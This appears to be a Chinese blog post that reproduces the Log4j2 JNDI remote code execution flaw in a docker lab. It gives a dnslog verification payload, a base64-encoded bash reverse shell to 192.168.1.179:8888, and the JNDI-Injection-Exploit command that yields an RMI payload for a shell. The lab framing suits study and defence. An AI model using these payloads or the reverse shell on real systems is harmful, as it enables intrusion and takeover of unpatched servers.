一、原理:
本图借用:https://blog.csdn.net/hilaryfrank/article/details/121939902
二、环境准备
1、靶场:http://vulfocus.fofa.so/#/dashboard(fofa出了点问题,暂时无法访问)
2、靶场:https://ctf.show/challenges
3、docker自建:
查找关于Log4j2的镜像
docker search Log4j2
拉取一个dockers镜像
docker pull vulfocus/log4j2-rce-2021-12-09
运行image
docker run -tid -p 18080:8080 vulfocus/log4j2-rce-2021-12-09
复现完后可以用下面的命令清除docker image:
查看正在运行的docker:
docker ps -a
停止docker :
docker stop [CONTAINER ID]
清除所有停止的docker:
docker container prune
查看所有images:
docker images
删除image:
docker rmi [IMAGE ID]
三、漏洞验证
1、访问环境(这里用的docker环境)
这个环境是GET型的,不支持POST。
用下面的payload验证:
payload=${jndi:ldap://wdhcrj.dnslog.cn/exp}
注意GET提交的payload需要URL编码,否则会报400,我就是在这里卡了一下,还是要注意细节呀(看别人的环境都是POST)
2、成功验证,dnslog成功回显
四、反弹shell
1、首先准备反弹shell的命令。
bash -i >& /dev/tcp/192.168.1.179/8888 0>&1
2、然后将其base64编码
YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTc5Lzg4ODggMD4mMQ==
3、然后使用工具,工具地址:https://github.com/bkfish/Apache-Log4j-Learning/tree/main/tools
运行下面命令:
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTc5Lzg4ODggMD4mMQ==}|{base64,-d}|{bash,-i}" -A "192.168.1.179"
选择JDK没有版本号的的那个payload(看上图),可能不会受JDK版本的限制吧。
4、接下来再开一个窗口监听刚刚设置的端口
5、最后放入payload(GET方式需要URL编码)
payload=${jndi:rmi://192.168.1.179:1099/0arfwt}
6、执行payload后可以可以看到已经获取到shell了
五、总结
复现过程中出现了以下几个问题:
1、Java版本不对,第一次用的kali2.0,Java版本比较低,反弹shell的时候会提示warning,不允许反弹。安装新版本的Java就好了,这里我换了CentOs 7测试。
2、看别人复现的环境都是POST方式,我遇到的环境是GET方式,payload没有URL编码,导致无法验证成功。
3、我的命令是直接复制的,中间会出现多余空格的情况,导致不能反弹shell,所以还是要注意细节!注意细节!注意细节!
六、参考文献
https://www.adminxe.com/3077.html
https://www.cnblogs.com/0x200/p/15692319.html